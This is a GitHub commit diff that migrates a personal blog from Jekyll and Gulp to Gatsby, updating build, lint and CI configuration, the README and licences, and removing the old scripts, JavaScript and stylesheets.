m/blog
1
0
Fork 0
mirror of https://github.com/kremalicious/blog.git synced 2025-02-14 21:10:25 +01:00
Code

Merge pull request #55 from kremalicious/gatsby

Browse Source 
Migrate to Gatsby
This commit is contained in:
Matthias Kretschmann 2018-09-27 22:50:52 +02:00 committed by GitHub
commit 135ec51d47
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
942 changed files with 8468 additions and 8009 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
.babelrc
View File

@ -1,3 +0,0 @@
{
"presets": ["env"]
}

5
.codeclimate.yml Normal file
View File

@ -0,0 +1,5 @@
version: '2'
checks:
method-lines:
config:
threshold: 55 # Gatsby's StaticQuery makes render functions pretty long

7
.editorconfig
View File

@ -1,13 +1,14 @@
# EditorConfig is awesome: http://EditorConfig.org # EditorConfig is awesome: http://EditorConfig.org
root = true
[*] [*]
indent_style = space indent_style = space
indent_size = 4 indent_size = 2
end_of_line = lf end_of_line = lf
insert_final_newline = true insert_final_newline = true
charset = utf-8 charset = utf-8
trim_trailing_whitespace = true trim_trailing_whitespace = true
[*.json] [*.scss]
indent_size = 2 indent_size = 4

27
.eslintrc Normal file
View File

@ -0,0 +1,27 @@
{
"parser": "babel-eslint",
"extends": [
"eslint:recommended",
"plugin:react/recommended",
"plugin:prettier/recommended"
],
"plugins": ["react", "graphql", "prettier"],
"parserOptions": {
"sourceType": "module",
"ecmaFeatures": {
"jsx": true,
"modules": true
}
},
"env": {
"browser": true,
"node": true,
"es6": true
},
"rules": {
"quotes": ["error", "single"],
"semi": ["error", "never"],
"object-curly-spacing": ["error", "always"],
"prettier/prettier": "error"
}
}

8
.gitignore vendored
View File

@ -1,8 +1,8 @@
node_modules node_modules
_site
_build
Gemfile.lock
_src/.jekyll-metadata
yarn.lock yarn.lock
.yarnclean .yarnclean
package-lock.json package-lock.json
public
.cache
src/components/svg
plugins/gatsby-redirect-from

8
.markdownlint.json Normal file
View File

@ -0,0 +1,8 @@
{
"default": true,
"line_length": false,
"no-inline-html": false,
"fenced-code-language": false,
"first-line-h1": false,
"first-heading-h1": false
}

5
.prettierignore Normal file
View File

@ -0,0 +1,5 @@
node_modules/
.cache/
static/
public/
content/

5
.prettierrc Normal file
View File

@ -0,0 +1,5 @@
{
"semi": false,
"singleQuote": true,
"trailingComma": "none"
}

13
.stylelintrc Normal file
View File

@ -0,0 +1,13 @@
{
"extends": [
"stylelint-config-standard",
"stylelint-config-css-modules",
"./node_modules/prettier-stylelint/config.js"
],
"syntax": "scss",
"rules": {
"indentation": 4,
"number-leading-zero": "never",
"at-rule-no-unknown": null
}
}

44
.travis.yml
View File

@ -1,37 +1,23 @@
language: ruby language: node_js
rvm: node_js: node
- 2.5
cache: cache:
bundler: true
directories: directories:
- $TRAVIS_BUILD_DIR/node_modules - node_modules
- $TRAVIS_BUILD_DIR/_site/media - public
addons: install:
artifacts: - npm i
paths:
- $TRAVIS_BUILD_DIR/_site/media
apt:
update: true
packages:
- libgsl0ldbl
- libgsl0-dev
before_install: script:
- nvm install 10 - npm test
- npm run build
before_script: "_ci/setup.sh"
script: "_ci/build.sh"
deploy:
skip_cleanup: true
provider: script
script: "_ci/deploy.sh"
on:
branch: master
after_success:
- pip install --user awscli
- export PATH=$PATH:$HOME/.local/bin
- npm run deploy
notifications: notifications:
email: false email: false
slack: kremalicious:LXLUCjkY5yaZaC9vHl9vIORr slack: kremalicious:LXLUCjkY5yaZaC9vHl9vIORr

20
Gemfile
View File

@ -1,20 +0,0 @@
# A sample Gemfile
source "https://rubygems.org"
group :jekyll do
gem 'jekyll'
gem 'jekyll-sitemap'
gem 'jekyll-redirect-from'
gem 'jekyll-archives'
gem 'jekyll-paginate'
end
group :development do
gem 'redcarpet'
end
group :lsi do
gem 'narray'
gem 'gsl'
gem 'classifier-reborn'
end

2
LICENSE
View File

@ -1,6 +1,6 @@
MIT License MIT License
Copyright (c) 2008-2017 Matthias Kretschmann Copyright (c) 2008-2018 Matthias Kretschmann
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

4
LICENSE-content
View File

@ -1,5 +1,3 @@
All post content under `_src/_posts` is licensed under a All post content under `./content/posts` is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
License.
http://creativecommons.org/licenses/by-nc-sa/4.0/. http://creativecommons.org/licenses/by-nc-sa/4.0/.

5
LICENSE-photos
View File

@ -1,7 +1,6 @@
All photos & image assets under `_src/_media`, `_src/assets/img`, and All photos & image assets under `./content/media`, `./src/images`, and `assets sheet.psd` are plain ol' copyright.
`assets sheet.psd` are plain ol' copyright.
Copyright (c) 2008–2017 Matthias Kretschmann Copyright (c) 2008–2018 Matthias Kretschmann
Don't care if you fork & play with it, but you're not allowed to publish Don't care if you fork & play with it, but you're not allowed to publish
anything from it as a whole without my written permission. anything from it as a whole without my written permission.

73
README.md
View File

@ -1,75 +1,50 @@
kremalicious3 # blog
==================
> [kremalicious.com](http://kremalicious.com) based on [Jekyll](http://jekyllrb.com). Neat. > 🍭 My blog [kremalicious.com](http://kremalicious.com) built with [Gatsby](http://gatsbyjs.org). Neat.
[![Build Status](https://travis-ci.com/kremalicious/kremalicious3.svg?branch=master)](https://travis-ci.com/kremalicious/kremalicious3) [![Build Status](https://travis-ci.com/kremalicious/blog.svg?branch=master)](https://travis-ci.com/kremalicious/blog)
[![Greenkeeper badge](https://badges.greenkeeper.io/kremalicious/kremalicious3.svg)](https://greenkeeper.io/) [![Maintainability](https://api.codeclimate.com/v1/badges/4e86c791349cd12368cd/maintainability)](https://codeclimate.com/github/kremalicious/blog/maintainability)
[![Codacy Badge](https://api.codacy.com/project/badge/Grade/22716f4e00d14df8991af76384193953)](https://www.codacy.com/app/kremalicious/blog)
[![Greenkeeper badge](https://badges.greenkeeper.io/kremalicious/blog.svg)](https://greenkeeper.io/)
## Requirements
Requirements
------------------
You need to have the following tools installed on your development machine before moving on: You need to have the following tools installed on your development machine before moving on:
- [node.js](http://nodejs.org/) & [npm](https://npmjs.org/) - [Node.js](http://nodejs.org/)
- [Ruby](https://www.ruby-lang.org) (for sanity, install with [rvm](https://rvm.io/)) and [Bundler](http://bundler.io/) - [npm](https://npmjs.org/)
## Development
Content Creation
------------------
Some handy rake tasks creating the correct front matter for each content type:
New Content | Command
----------- | -----------
Post | `rake post -- Title`
Photo | `rake photo -- Title`
Link | `rake link -- Title`
Get up and running
------------------
### Install dependencies
Run the following command from the repository's root folder to install all dependencies.
```bash ```bash
npm install && bundle install npm i
npm start
``` ```
### Development server ## Production build
This generates the site with the dev build task `gulp build` and starts a local dev server combined with a livereloading watch task under `http://localhost:1337`.
```bash ```bash
gulp npm run build
``` ```
### Production build ## Licenses
```bash The MIT License (MIT)
gulp build --production
```
except for:
Licenses
------------------
### Posts ### Posts
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/80x15.png" /></a><br />All post content under `_src/_posts` is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>. <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">
<img alt="Creative Commons License" style="border-width:0;" src="https://i.creativecommons.org/l/by-nc-sa/4.0/80x15.png" />
</a>
All post content under `./content/posts` is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.
### Photos & images ### Photos & images
All photos & image assets under `_src/_media`, `_src/assets/img`, and `assets sheet.psd` are plain ol' copyright. All photos & image assets under `./content/media`, `./src/images`, and `assets sheet.psd` are plain ol' copyright.
Copyright (c) 2008–2017 Matthias Kretschmann Copyright (c) 2008–2018 Matthias Kretschmann
Don't care if you fork & play with it, but you're not allowed to publish anything from it as a whole without my written permission. Don't care if you fork & play with it, but you're not allowed to publish anything from it as a whole without my written permission.
### Everything else
The MIT License (MIT)

93
Rakefile
View File

@ -1,93 +0,0 @@
require 'rubygems'
require 'optparse'
require 'yaml'
#
# Create New Post
# rake post -- Title
#
task :post do
OptionParser.new.parse!
ARGV.shift
title = ARGV.join(' ')
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
if File.exist?(path)
puts "Dude, file exists - skipping create"
else
File.open(path, "w") do |file|
file.puts YAML.dump({
'layout' => 'post',
'title' => title,
'image' => 'REPLACEME.jpg',
'author' => 'Matthias Kretschmann',
'date' => Time.now
})
file.puts "---"
end
end
`atom #{path}`
exit 1
end
#
# Create New Photo Post
# rake photo -- Title
#
task :photo do
OptionParser.new.parse!
ARGV.shift
title = ARGV.join(' ')
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
if File.exist?(path)
puts "Dude, file exists - skipping create"
else
File.open(path, "w") do |file|
file.puts YAML.dump({
'layout' => 'photo',
'title' => title,
'image' => 'REPLACEME.jpg',
'author' => 'Matthias Kretschmann',
'date' => Time.now,
'category' => 'photos'
})
file.puts "---"
end
end
`atom-beta #{path}`
exit 1
end
#
# Create New Link Post
# rake link -- Title
#
task :photo do
OptionParser.new.parse!
ARGV.shift
title = ARGV.join(' ')
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
if File.exist?(path)
puts "Dude, file exists - skipping create"
else
File.open(path, "w") do |file|
file.puts YAML.dump({
'layout' => 'link',
'title' => title,
'author' => 'Matthias Kretschmann',
'date' => Time.now
})
file.puts "---"
end
end
`atom #{path}`
exit 1
end

1
_aws/redirects.xml
View File

@ -1,4 +1,3 @@
<?xml version="1.0"?>
<RoutingRules> <RoutingRules>
<RoutingRule> <RoutingRule>
<Condition> <Condition>

11
_ci/build.sh
View File

@ -1,11 +0,0 @@
#!/usr/bin/env bash
npm test &&
if [ "$TRAVIS_BRANCH" == "master" ]; then
gulp build --production
else
gulp build
fi;
exit;

17
_ci/deploy.sh
View File

@ -1,17 +0,0 @@
#!/usr/bin/env bash
set -e;
echo "$(tput setaf 136)"
echo " Starting S3 deployment "
echo "============================================="
echo "$(tput sgr0)" # reset
gulp deploy
gulp seo
echo "$(tput setaf 64)" # green
echo "---------------------------------------------"
echo " ✓ done S3 deployment "
echo "$(tput sgr0)" # reset

19
_ci/setup.sh
View File

@ -1,19 +0,0 @@
#!/usr/bin/env bash
set -e;
echo "$(tput setaf 136)"
echo " Installing dependencies "
echo "============================================="
echo "$(tput sgr0)" # reset
npm install gulp-cli -g
npm install
# Travis does that automatically after selecting ruby
#bundle install
echo "$(tput setaf 64)" # green
echo "---------------------------------------------"
echo " ✓ done installing dependencies"
echo "$(tput sgr0)" # reset

3
_config.dev.yml
View File

@ -1,3 +0,0 @@
# fix for jekyll-picture-tag always prepending site.url
url: http://localhost:1337

76
_config.yml
View File

@ -1,76 +0,0 @@
#
# Home: /
# Archive Page: /archive/
# Pagination: /page/N/
# Post: /post-slug/
# RSS Feed: /feed/
#
# Basics
# --------------------
name: kremalicious
description: 'Blog of designer & developer Matthias Kretschmann'
url: https://kremalicious.com
author:
name: Matthias Kretschmann
email: m@kretschmann.io
uri: https://matthiaskretschmann.com
twitter: kremalicious
github: kremalicious
facebook: matthiaskretschmann
googleplus: +MatthiasKretschmann
bitcoin: 171qDmKEXm9YBgBLXyGjjPvopP5o9htQ1V
ether: "0x339dbC44d39bf1961E385ed0Ae88FC6069b87Ea1"
# Urls
# --------------------
permalink: /:title/
paginate: 15
paginate_path: "/page/:num"
category_dir: "/"
category_title_prefix: ""
media_url: "https://res.cloudinary.com/kremalicious"
# Content Parsing
# --------------------
future: false
markdown: redcarpet
redcarpet:
extensions: ['no_intra_emphasis', 'autolink', 'tables', 'smart', 'hard_wrap', 'fenced_code_blocks', 'strikethrough', 'highlight', 'quote', 'footnotes', 'with_toc_data', 'space_after_headers', 'superscript', 'lax_spacing']
# Generator
# --------------------
source: ./_src
destination: ./_site
keep_files: ['media']
# Plugins
# --------------------
plugins:
- jekyll-sitemap
- jekyll-redirect-from
- jekyll-paginate
- jekyll-archives
# jekyll-archives
# --------------------
jekyll-archives:
enabled:
- categories
- tags
layout: 'archive'
permalinks:
tag: '/tag/:name/'
category: '/:name/'

13
_src/404.md
View File

@ -1,13 +0,0 @@
---
layout: page
title: I'm sorry Dave
---
<div class="hal-9000"></div>
<p class="srverror-title">I'm sorry Dave,</p>
<p class="srverror-text">I'm afraid I can't do that.</p>
<a href="#" class="js-search-init">How about a nice search?</a>
[Go to homepage](/)

32
_src/_assets/js/_menu.js
View File

@ -1,32 +0,0 @@
/* exported krlcMenu */
const krlcMenu = (() => { // eslint-disable-line no-unused-vars
const _config = {
thesite: document.getElementsByClassName('site')[0],
thelink: document.getElementsByClassName('menu-btn')[0],
thepop: document.getElementsByClassName('nav-popover')[0]
}
const _private = {
toggleMenu() {
_config.thelink.addEventListener('click', e => {
e.preventDefault()
// Toggle menu
_config.thesite.classList.toggle('has-menu-open')
// Dont close thepop when you click on thepop
_config.thepop.addEventListener('click', e => {
e.stopPropagation()
})
// And dont close thepop now
e.stopPropagation()
})
}
}
return {
init: _private.toggleMenu
}
})(); // eslint-disable-line semi

99
_src/_assets/js/_modals.js
View File

@ -1,99 +0,0 @@
//
// Vex modals
//
/* global vex, fetch, ClipboardJS, QRious */
/* exported krlcModals */
/* eslint-disable spaced-comment */
//=require vex-js/dist/js/vex.combined.js
//=require clipboard/dist/clipboard.js
//=require qrious/dist/qrious.js
/* eslint-enable spaced-comment */
const krlcModals = (() => { // eslint-disable-line no-unused-vars
const _config = {
btcVexTriggers: document.querySelectorAll('.js-vex-btc')
}
let btcAddress
let ethAddress
const _private = {
getBtcAddress() {
const url = '/api/site.json'
fetch(url)
.then(res => res.json())
.then(data_ => {
btcAddress = data_[0].author.bitcoin
ethAddress = data_[0].author.ether
})
.catch(err => console.error(err))
return { btcAddress, ethAddress }
},
vexBtc() {
_config.btcVexTriggers.forEach(el => {
el.addEventListener('click', e => {
e.preventDefault()
vex.defaultOptions.className = 'vex-theme-kremalicious vex-bitcoin'
vex.dialog.buttons.YES.text = 'Close'
vex.open({ unsafeContent: `
<h3 class="vex__title">Say thanks</h3>
<div class="grid grid--full grid-medium--half grid--gutters">
<div class="grid__col">
<h4>Bitcoin</h4>
<canvas class="qr" id="qr-btc"></canvas>
<pre class="highlight"><code id="btcAddress" class="btcAddress nt" value="${btcAddress}">${btcAddress}</code><button class="btn" data-clipboard-target="#btcAddress" title="Copy to clipboard"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 22 22"><path d="M16 8v8H8v4h12V8h-4zm0-2h6v16H6v-6H0V0h16v6zM2 2v12h12V2H2z"></path></svg></button></pre>
</div>
<div class="grid__col">
<h4>Ethereum</h4>
<canvas class="qr" id="qr-eth"></canvas>
<pre class="highlight"><code id="ethAddress" class="ethAddress nt" value="${ethAddress}">${ethAddress}</code><button class="btn" data-clipboard-target="#ethAddress" title="Copy to clipboard"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 22 22"><path d="M16 8v8H8v4h12V8h-4zm0-2h6v16H6v-6H0V0h16v6zM2 2v12h12V2H2z"></path></svg></button></pre>
</div>
</div>
`
})
// Generate QR codes
const qrBtc = new QRious({
element: document.getElementById('qr-btc'),
value: btcAddress
})
const qrEth = new QRious({
element: document.getElementById('qr-eth'),
value: ethAddress
})
const qrOptions = {
backgroundAlpha: 0,
foreground: '#6b7f88',
size: 160
}
qrBtc.set(qrOptions)
qrEth.set(qrOptions)
// Clipboard button
const clipboard = new ClipboardJS('.btn')
clipboard.on('success', e => {
e.trigger.classList.add('success')
e.clearSelection()
})
})
})
}
}
return {
init() {
_private.getBtcAddress()
_private.vexBtc()
}
}
})(); // eslint-disable-line semi

90
_src/_assets/js/_search.js
View File

@ -1,90 +0,0 @@
/* global SimpleJekyllSearch */
/* exported krlcSearch */
/* eslint-disable spaced-comment */
//=require simple-jekyll-search/dest/simple-jekyll-search.js
/* eslint-enable spaced-comment */
const krlcSearch = (() => { // eslint-disable-line no-unused-vars
const _config = {
searchlink: document.getElementsByClassName('search-btn')[0],
searcharea: document.getElementsByClassName('search-area')[0],
searchclose: document.getElementsByClassName('search-close')[0],
searchfield: document.getElementById('search-input'),
searchpop: document.getElementById('search-popover'),
searchresults: document.getElementById('search-results')
}
const _private = {
searchHide() {
// Revert all search elements
_config.searcharea.classList.remove('animation-slidedown')
_config.searcharea.classList.add('animation-bounceOutUp')
_config.searchpop.classList.add('hide')
document.body.classList.remove('has-search-open')
},
searchClose() {
_config.searchclose.addEventListener('click', e => {
e.preventDefault()
_private.searchHide()
// Empty search field
_config.searchfield.value = ''
_config.searchfield.blur()
})
},
searchShow() {
_config.searchlink.addEventListener('click', e => {
e.preventDefault()
// Show search field
_config.searcharea.classList.remove('is-ready', 'animation-bounceOutUp')
_config.searcharea.classList.add('is-ready', 'animation-slidedown')
document.body.classList.add('has-search-open')
_config.searchfield.focus()
SimpleJekyllSearch({ // eslint-disable-line new-cap
searchInput: _config.searchfield,
resultsContainer: _config.searchresults,
json: '/api/search.json',
searchResultTemplate: '<a class="search-link" href="{url}">{title}</a>',
fuzzy: false
})
// Hide menu too just in case
if (document.body.classList.contains('has-menu-open')) {
document.body.classList.remove('has-menu-open')
}
// Dont close thepop when click on thepop
_config.searchpop.addEventListener('click', e => {
e.stopPropagation()
})
// Dont close thepop when click on search field
_config.searchfield.addEventListener('click', e => {
e.stopPropagation()
})
// And dont close thepop now
e.stopPropagation()
})
// Show popup upon first keypress
_config.searchfield.addEventListener('keyup', () => {
_config.searchpop.classList.remove('hide')
})
// Listen for close icon
_private.searchClose()
}
}
return {
init: _private.searchShow
}
})(); // eslint-disable-line semi

82
_src/_assets/js/analytics.js
View File

@ -1,82 +0,0 @@
const krlcAnalytics = (() => { // eslint-disable-line no-unused-vars
//
// Track Responsive Breakpoints
//
// stolen & adapted from
// http://philipwalton.com/articles/measuring-your-sites-responsive-breakpoint-usage/
//
const gaBreakpoints = () => {
// Do nothing in browsers that don't support `window.matchMedia`.
if (!window.matchMedia) {
return
}
// Prevent rapid breakpoint changes for all firing at once.
let timeout
const breakpoints = {
xxs: '(max-width: 479px)',
xs: '(min-width: 480px) and (max-width: 767px)',
sm: '(min-width: 768px) and (max-width: 991px)',
md: '(min-width: 992px) and (max-width: 1199px)',
lg: '(min-width: 1200px) and (max-width: 1599px)',
hg: '(min-width: 1600px)'
}
Object.keys(breakpoints).forEach(breakpoint => {
const mql = window.matchMedia(breakpoints[breakpoint])
// Set the initial breakpoint on page load.
if (mql.matches) {
window.ga('set', 'dimension1', breakpoint)
}
// Update the breakpoint as the matched media changes
mql.addListener(() => {
if (mql.matches) {
clearTimeout(timeout)
timeout = setTimeout(() => {
window.ga('set', 'dimension1', breakpoint)
}, 1000)
}
})
})
}
//
// Track Viewport
//
const gaViewport = () => {
const width = Math.max(document.documentElement.clientWidth, window.innerWidth || 0)
const height = Math.max(document.documentElement.clientHeight, window.innerHeight || 0)
const dimensions = width + 'x' + height
window.ga('set', 'dimension2', dimensions)
}
//
// Track Pixel Density
//
const gaPixelDensity = () => {
// Heads up!
// window.devicePixelRatio doesn't work correctly in IE but whatever
const pixeldensity = window.devicePixelRatio
window.ga('set', 'dimension3', pixeldensity)
}
return {
init() {
const dnt = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack
if (dnt !== 'yes' && dnt !== '1') {
gaBreakpoints()
gaViewport()
gaPixelDensity()
}
}
}
})(); // eslint-disable-line semi

17
_src/_assets/js/kremalicious3.js
View File

@ -1,17 +0,0 @@
/* global krlcMenu, krlcSearch, krlcModals */
/* eslint-disable spaced-comment */
//=require @webcomponents/webcomponentsjs/webcomponents-bundle.js
//=require time-elements/dist/time-elements.js
//=include _menu.js
//=include _search.js
//=include _modals.js
/* eslint-enable spaced-comment */
//
// Init js modules
//
krlcSearch.init()
krlcMenu.init()
krlcModals.init()

59
_src/_assets/js/photos.js
View File

@ -1,59 +0,0 @@
/* global EXIF */
/* eslint-disable spaced-comment */
//=include exif-js/exif.js
/* eslint-enable spaced-comment */
window.addEventListener('load', getExif, false)
function getExif() {
const image = document.querySelector('.hentry__teaser img')
EXIF.getData(image, function () {
// Get individual data
const modelvalue = EXIF.getTag(this, 'Model')
const shutterspeedvalue = EXIF.getTag(this, 'ExposureTime')
const aperturevalue = EXIF.getTag(this, 'FNumber')
const exposurevalue = EXIF.getTag(this, 'ExposureBias')
const isovalue = EXIF.getTag(this, 'ISOSpeedRatings')
const focallengthvalue = EXIF.getTag(this, 'FocalLength')
// Inject data
if (modelvalue) {
const model = document.querySelector('.exif__model')
model.innerHTML = modelvalue
}
if (shutterspeedvalue) {
const shutterspeed = document.querySelector('.exif__shutterspeed')
shutterspeed.innerHTML = `${shutterspeedvalue.numerator}/${shutterspeedvalue.denominator}s`
}
if (aperturevalue) {
const aperture = document.querySelector('.exif__aperture')
aperture.innerHTML = `ƒ ${aperturevalue}`
}
if (exposurevalue || exposurevalue === 0) {
const exposure = document.querySelector('.exif__exposure')
if (exposurevalue === 0) {
exposure.innerHTML = `+/- ${exposurevalue}`
} else if (exposurevalue > 0) {
exposure.innerHTML = `+ ${exposurevalue}`
} else {
exposure.innerHTML = `- ${exposurevalue}`
}
}
if (isovalue) {
const iso = document.querySelector('.exif__iso')
iso.innerHTML = `ISO ${isovalue}`
}
if (focallengthvalue) {
const focallength = document.querySelector('.exif__focallength')
focallength.innerHTML = `${focallengthvalue}mm`
}
})
}

96
_src/_assets/styl/_kremalicious/actions.styl
View File

@ -1,96 +0,0 @@
.actions
@extend .divider-top, .divider-bottom, .small
margin-top: ($spacer * 2)
padding: $spacer 0
.grid
margin-bottom: 0
@media $screen-sm
.grid__col:last-child
display: flex
justify-content: flex-end
.action
padding-left: 32px
display: inline-block
.icon
margin-right: 8px
margin-left: -32px
margin-bottom: -3px
.action__title
font-size: $font-size-base
line-height: $line-height
margin-top: 0
color: $text-color
margin-bottom: 0
display: inline-block
.action__text
display: block
margin-bottom: 0
.donate
.btc
@extend .mini
display: inline-block
width: 80px
white-space: nowrap
overflow: hidden
text-overflow: ellipsis
.vex-bitcoin
@extend .textcenter
.vex-content
max-width: 46em
h4
font-size: $font-size-h5
margin-top: 0
margin-bottom: ($spacer / 4)
color: $brand-grey
.qr
margin-bottom: ($spacer / 2)
pre
@extend .small
margin: 0
position: relative
padding-right: 2.4rem
code
padding: ($spacer / 2)
padding-right: 0
font-size: .65rem
.btn
position: absolute
right: 0
top: 0
bottom: 0
border: 0
box-shadow: none
border-top-left-radius: 0
border-bottom-left-radius: 0
background: alpha($brand-grey, 30%)
svg
width: 1rem
height: 1rem
fill: $brand-grey
transition: .15s ease-out
&:hover
background: alpha($brand-grey, 30%)
svg
fill: $brand-grey-dimmed
&.success
background: darken($alert-success, 50%)
svg
fill: $brand-dark

38
_src/_assets/styl/_kremalicious/alerts.styl
View File

@ -1,38 +0,0 @@
//
// kremalicious3
// --------------
// Alerts
//
$alert-info = #f7f1e4
$alert-success = #dff0d8
$alert-error = #f2dede
.alert
padding: $spacer
margin-bottom: $spacer
border-radius: $border-radius-base
border: 1px solid transparent
box-shadow: 0 1px 3px rgba($brand-grey, .1), inset 0 1px 0 #fff
> p,
> ul
margin-bottom: 0
> p + p
margin-top: $spacer
.alert-success
color: darken($alert-success, 60%)
background: $alert-success
border-color: darken($alert-success, 10%)
.alert-danger,
.alert-error
color: darken($alert-error, 60%)
background: $alert-error
border-color: darken($alert-error, 10%)
.alert-info
color: darken($alert-info, 60%)
background: $alert-info
border-color: darken($alert-info, 10%)

64
_src/_assets/styl/_kremalicious/animations.styl
View File

@ -1,64 +0,0 @@
//
// kremalicious3
// --------------
// Animations
//
// Buttery Smooth(tm)
////////////////////////////////////
gpuacceleration()
-webkit-transform: translate3d(0,0,0)
-webkit-backface-visibility: hidden
-webkit-perspective: 1000
.gpuacceleration
gpuacceleration()
// Slide Up
////////////////////////////////////
@keyframes slideUp
0%
transform: translate3d(0, 100px, 0)
opacity: 0
100%
transform: translate3d(0, 0, 0)
opacity: 1
.animation-slideup
animation: slideUp .2s cubic-bezier(.06,.85,.54,1)
//
// Bounce
//
// taken and adapted from
// http://daneden.github.io/animate.css/
////////////////////////////////////
// Down
@keyframes slideDown
0%
transform: translate3d(0, -100px, 0)
100%
transform: none
.animation-slidedown
animation: slideDown .2s cubic-bezier(.06,.85,.54,1)
// Up
@keyframes bounceOutUp
20%
transform: translate3d(0, -10px, 0)
40%, 45%
transform: translate3d(0, 20px, 0)
100%
transform: translate3d(0, -100px, 0)
.animation-bounceOutUp
animation: bounceOutUp .5s both

201
_src/_assets/styl/_kremalicious/buttons.styl
View File

@ -1,201 +0,0 @@
//
// kremalicious3
// --------------
// Buttons
//
// Reset default button element
button
padding: 0
cursor: pointer
background: transparent
border: 0
-webkit-appearance: none
&:active
background: $link-color
transition: none
text-shadow: none
.btn,
a.btn
@extend .textcenter
display: inline-block
margin-bottom: 0
font-weight: normal
vertical-align: middle
touch-action: manipulation
cursor: pointer
background-image: none // Reset unusual Firefox-on-Android default style
white-space: nowrap
user-select: none
transition: all .2s ease-in-out
// Default Button
button-size($padding-base-vertical, $padding-base-horizontal, $font-size-small, $line-height, $border-radius-base)
background-color: rgba(255,255,255,.1)
border: 1px solid rgba(94,131,162,.3)
border-bottom-color: rgba(94,131,162,.4)
font-family: $headings-font-family
font-weight: $headings-font-weight
color: $brand-grey
text-transform: uppercase
box-shadow: 0 1px 3px alpha($brand-grey-light, .1), inset 0 1px 0 rgba(255,255,255,.7)
@media $screen-sm
max-width: 20rem
&:hover,
&:focus
outline: 0
background-color: rgba(255,255,255,.5)
&:active
color: $brand-grey
border-color: rgba(94,131,162,.3)
background-color: transparent
box-shadow: 0 1px 0 #fff
transition: none
outline: 0
&:focus
outline: 0
border-color: $input-border-focus
// Disabled State
&.disabled,
&[disabled],
fieldset[disabled] &
cursor: not-allowed
pointer-events: none // Future-proof disabling of clicks
opacity: .6
box-shadow: none
// grid buttons
&.col2,
&.col3
margin-bottom: ($spacer/2)
@media $screen-sm
margin-bottom: 0
span
font-size: .9em
color: rgba(19, 56, 50, .6)
margin-left: .3em
// Primary Button
.btn-primary,
a.btn-primary
color: darken($link-color, 50%)
text-shadow: 0 1px 0 rgba(255,255,255,.3)
background: lighten($link-color, 15%)
border-color: $link-color
box-shadow: 0 1px 3px alpha($brand-grey-light, .4), inset 0 1px 0 rgba(255,255,255,.4)
&:hover,
&:focus
color: darken($link-color, 50%)
background-color: lighten($link-color, 25%)
text-shadow: 0 1px 0 rgba(255,255,255,.3)
&:active
color: darken($link-color, 50%)
border-color: darken($link-color, 10%)
background-color: lighten($link-color, 15%)
.more-link
font-family: $headings-font-family
font-weight: $headings-font-weight
font-size: $font-size-small
color: $link-color
text-transform: uppercase
// icon
.icon
top: .15em
position: relative
width: 18px
height: 18px
.btn-block
display: block
// Close button
/////////////////////////////////////
.close
@extend .textcenter, .transition
display: block
color: lighten($brand-grey-light, 50%)
line-height: 1
font-size: $font-size-large
padding: 3px
cursor: pointer
button.&
cursor: pointer
background: transparent
border: 0
-webkit-appearance: none
&:hover,
&:focus
color: lighten($brand-grey-light, 20%)
cursor: pointer
outline: 0
&:active
background: none
color: $brand-grey-light
transition: none
// some helper classes for old content
/////////////////////////////////////
.content-download
@extend .grid, .grid--gutters
text-align: center
display: block
margin-top: 0
@media $screen-xs
display: flex
margin-top: -($gutter-space)
a
@extend .btn, .grid__col
margin: $gutter-space 0 0 $gutter-space
&:only-child
margin-left: auto
margin-right: auto
span
font-size: $font-size-mini
color: $text-color-light
.icon-download,
.icon-heart,
.icon-wordpress,
.icon-github,
.icon-eye
&:before
content: ""
width: 18px
height: 18px
display: inline-block
margin-right: 5px
margin-bottom: -3px
opacity: .35
background: url('/assets/img/arrow-with-circle-down.svg') no-repeat left center
.icon-heart:before
background-image: url('/assets/img/heart.svg')
.icon-github:before
background-image: url('/assets/img/github.svg')
.icon-eye:before
background-image: url('/assets/img/eye.svg')

77
_src/_assets/styl/_kremalicious/code.styl
View File

@ -1,77 +0,0 @@
//
// kremalicious3
// --------------
// Code
//
code,
kbd,
pre,
samp
font-family: $font-family-monospace
font-size: $font-size-small
hyphens: none
code,
kbd
padding: 2px 4px
code,
samp
color: darken($code-color, 40%)
background-color: alpha($code-bg, 5%)
border-radius: $border-radius-base
kbd
color: $kbd-color
background-color: $kbd-bg
border-radius: $border-radius-small
border: 1px solid $kbd-bg
box-shadow: inset 0 1px 0 rgba(#fff, .4)
pre
display: block
padding: 0
margin-bottom: $spacer
line-height: $line-height
color: $code-color
background-color: $code-bg
margin-left: -($spacer)
margin-right: -($spacer)
// make 'em scrollable
overflow: scroll
-webkit-overflow-scrolling: touch
max-height: 300px
@media $screen-sm
max-height: 500px
@media $screen-md
border-radius: $border-radius-base
// Account for some code outputs that place code tags in pre tags
code
white-space: pre
overflow: auto
display: block
padding: $spacer
font-size: inherit
color: inherit
background-color: transparent
border-radius: 0
overflow-wrap: normal
word-wrap: normal
word-break: normal
code.language-shell
